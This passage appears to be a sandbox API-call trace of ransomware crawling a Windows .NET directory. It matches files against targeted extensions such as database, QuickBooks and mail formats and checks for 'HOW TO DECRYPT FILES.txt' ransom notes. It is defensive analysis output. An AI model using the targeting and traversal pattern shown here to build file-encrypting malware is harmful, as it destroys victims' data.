returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\DataSvcUtil.exe" [0137.472] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\DataSvcUtil.exe", pszSpec="*.ems") returned 0 [0137.472] lstrlenA (lpString="*.ems") returned 5 [0137.472] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\DataSvcUtil.exe", pszSpec="*.db") returned 0 [0137.472] lstrlenA (lpString="*.db") returned 4 [0137.472] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\DataSvcUtil.exe", pszSpec="*.dbf") returned 0 [0137.472] lstrlenA (lpString="*.dbf") returned 5 [0137.472] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\DataSvcUtil.exe", pszSpec="*.myox") returned 0 [0137.472] lstrlenA (lpString="*.myox") returned 6 [0137.472] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\DataSvcUtil.exe", pszSpec="*.myo") returned 0 [0137.472] lstrlenA (lpString="*.myo") returned 5 [0137.472] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\DataSvcUtil.exe", pszSpec="*.qbw") returned 0 [0137.472] lstrlenA (lpString="*.qbw") returned 5 [0137.472] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\DataSvcUtil.exe", pszSpec="*.qbb") returned 0 [0137.472] lstrlenA (lpString="*.qbb") returned 5 [0137.472] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\DataSvcUtil.exe", pszSpec="*.qbm") returned 0 [0137.472] lstrlenA (lpString="*.qbm") returned 5 [0137.472] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\DataSvcUtil.exe", pszSpec="*.qbo") returned 0 [0137.472] lstrlenA (lpString="*.qbo") returned 5 [0137.472] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\DataSvcUtil.exe", pszSpec="*.qbx") returned 0 [0137.472] lstrlenA (lpString="*.qbx") returned 5 [0137.472] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\DataSvcUtil.exe", pszSpec="*.qba") returned 0 [0137.473] lstrlenA (lpString="*.qba") returned 5 [0137.473] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\DataSvcUtil.exe", pszSpec="*.qby") returned 0 [0137.473] lstrlenA (lpString="*.qby") returned 5 [0137.473] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\DataSvcUtil.exe", pszSpec="*.qbj") returned 0 [0137.473] lstrlenA (lpString="*.qbj") returned 5 [0137.473] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\DataSvcUtil.exe", pszSpec="*.ofx") returned 0 [0137.473] lstrlenA (lpString="*.ofx") returned 5 [0137.473] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\DataSvcUtil.exe", pszSpec="*.qif") returned 0 [0137.473] lstrlenA (lpString="*.qif") returned 5 [0137.473] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\DataSvcUtil.exe", pszSpec="*.mye") returned 0 [0137.473] lstrlenA (lpString="*.mye") returned 5 [0137.473] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\DataSvcUtil.exe", pszSpec="*.mbox") returned 0 [0137.473] lstrlenA (lpString="*.mbox") returned 6 [0137.473] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\DataSvcUtil.exe", pszSpec="*.eml") returned 0 [0137.473] lstrlenA (lpString="*.eml") returned 5 [0137.474] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaeecc200, ftCreationTime.dwHighDateTime=0x1ca2998, ftLastAccessTime.dwLowDateTime=0x9ebdb2c0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xaeecc200, ftLastWriteTime.dwHighDateTime=0x1ca2998, nFileSizeHigh=0x0, nFileSizeLow=0x9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataSvcUtil.exe.config", cAlternateFileName="DATASV~1.CON")) returned 1 [0137.474] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.474] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DataSvcUtil.exe.config") returned 1 [0137.474] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DataSvcUtil.exe.config") returned 1 [0137.474] lstrcmpiA (lpString1="", lpString2="DataSvcUtil.exe.config") returned -1 [0137.474] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\DataSvcUtil.exe") returned="DataSvcUtil.exe" [0137.474] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.474] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.474] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.474] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.474] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="DataSvcUtil.exe.config" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\DataSvcUtil.exe.config") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\DataSvcUtil.exe.config" [0137.475] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdae73200, ftCreationTime.dwHighDateTime=0x1cac5ce, ftLastAccessTime.dwLowDateTime=0x8ab431e0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xdae73200, ftLastWriteTime.dwHighDateTime=0x1cac5ce, nFileSizeHigh=0x0, nFileSizeLow=0x1ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="default.win32manifest", cAlternateFileName="DEFAUL~1.WIN")) returned 1 [0137.475] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.475] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="default.win32manifest") returned 1 [0137.475] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="default.win32manifest") returned 1 [0137.475] lstrcmpiA (lpString1="", lpString2="default.win32manifest") returned -1 [0137.475] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\DataSvcUtil.exe.config") returned="DataSvcUtil.exe.config" [0137.475] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.475] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.475] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.475] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.475] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="default.win32manifest" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\default.win32manifest") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\default.win32manifest" [0137.476] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5914b380, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x25898, dwReserved0=0x0, dwReserved1=0x0, cFileName="dfdll.dll", cAlternateFileName="")) returned 1 [0137.476] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.476] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="dfdll.dll") returned 1 [0137.476] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="dfdll.dll") returned 1 [0137.476] lstrcmpiA (lpString1="", lpString2="dfdll.dll") returned -1 [0137.476] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\default.win32manifest") returned="default.win32manifest" [0137.476] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.476] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.476] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.476] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.476] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="dfdll.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\dfdll.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\dfdll.dll" [0137.477] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x591714e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x5c98, dwReserved0=0x0, dwReserved1=0x0, cFileName="dfsvc.exe", cAlternateFileName="")) returned 1 [0137.477] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.477] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="dfsvc.exe") returned 1 [0137.477] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="dfsvc.exe") returned 1 [0137.477] lstrcmpiA (lpString1="", lpString2="dfsvc.exe") returned -1 [0137.477] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\dfdll.dll") returned="dfdll.dll" [0137.477] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.477] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.477] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.477] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.477] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="dfsvc.exe" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\dfsvc.exe") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\dfsvc.exe" [0137.478] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8f6e100, ftCreationTime.dwHighDateTime=0x1ca2998, ftLastAccessTime.dwLowDateTime=0x8ab431e0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xa8f6e100, ftLastWriteTime.dwHighDateTime=0x1ca2998, nFileSizeHigh=0x0, nFileSizeLow=0xa7, dwReserved0=0x0, dwReserved1=0x0, cFileName="dfsvc.exe.config", cAlternateFileName="DFSVCE~1.CON")) returned 1 [0137.478] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.478] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="dfsvc.exe.config") returned 1 [0137.478] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="dfsvc.exe.config") returned 1 [0137.478] lstrcmpiA (lpString1="", lpString2="dfsvc.exe.config") returned -1 [0137.478] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\dfsvc.exe") returned="dfsvc.exe" [0137.478] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.478] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.478] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.478] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.478] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="dfsvc.exe.config" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\dfsvc.exe.config") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\dfsvc.exe.config" [0137.478] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x59197640, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xd3eb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="diasymreader.dll", cAlternateFileName="DIASYM~1.DLL")) returned 1 [0137.478] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.478] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="diasymreader.dll") returned 1 [0137.478] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="diasymreader.dll") returned 1 [0137.478] lstrcmpiA (lpString1="", lpString2="diasymreader.dll") returned -1 [0137.479] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\dfsvc.exe.config") returned="dfsvc.exe.config" [0137.479] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.479] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.479] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.479] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.479] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="diasymreader.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\diasymreader.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\diasymreader.dll" [0137.479] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dd0800, ftCreationTime.dwHighDateTime=0x1ca299a, ftLastAccessTime.dwLowDateTime=0x9ec73840, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x3dd0800, ftLastWriteTime.dwHighDateTime=0x1ca299a, nFileSizeHigh=0x0, nFileSizeLow=0x1c1bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="dv_aspnetmmc.chm", cAlternateFileName="DV_ASP~1.CHM")) returned 1 [0137.479] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.479] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="dv_aspnetmmc.chm") returned 1 [0137.479] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="dv_aspnetmmc.chm") returned 1 [0137.479] lstrcmpiA (lpString1="", lpString2="dv_aspnetmmc.chm") returned -1 [0137.479] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\diasymreader.dll") returned="diasymreader.dll" [0137.479] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.479] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.479] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.479] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.480] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="dv_aspnetmmc.chm" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\dv_aspnetmmc.chm") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\dv_aspnetmmc.chm" [0137.480] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x591e3900, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x17898, dwReserved0=0x0, dwReserved1=0x0, cFileName="EdmGen.exe", cAlternateFileName="")) returned 1 [0137.480] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.480] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="EdmGen.exe") returned -1 [0137.480] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="EdmGen.exe") returned 1 [0137.480] lstrcmpiA (lpString1="", lpString2="EdmGen.exe") returned -1 [0137.480] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\dv_aspnetmmc.chm") returned="dv_aspnetmmc.chm" [0137.480] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.480] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.480] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.480] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.480] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="EdmGen.exe" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\EdmGen.exe") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\EdmGen.exe" [0137.480] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ace6100, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x6b875b80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x6b875b80, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0137.481] lstrcmpA (lpString1=".", lpString2="en-US") returned -1 [0137.481] lstrcmpA (lpString1="..", lpString2="en-US") returned -1 [0137.481] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\EdmGen.exe") returned="EdmGen.exe" [0137.481] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="en-US" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US" [0137.481] lstrlenA (lpString="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US") returned 51 [0137.481] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ace6100, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x6b875b80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x6b875b80, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501574, cFileName=".", cAlternateFileName="")) returned 0x502518 [0137.487] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0137.487] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ace6100, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x6b875b80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x6b875b80, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0137.487] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0137.488] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0137.488] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5cdfe480, ftLastAccessTime.dwHighDateTime=0x1d2e676, 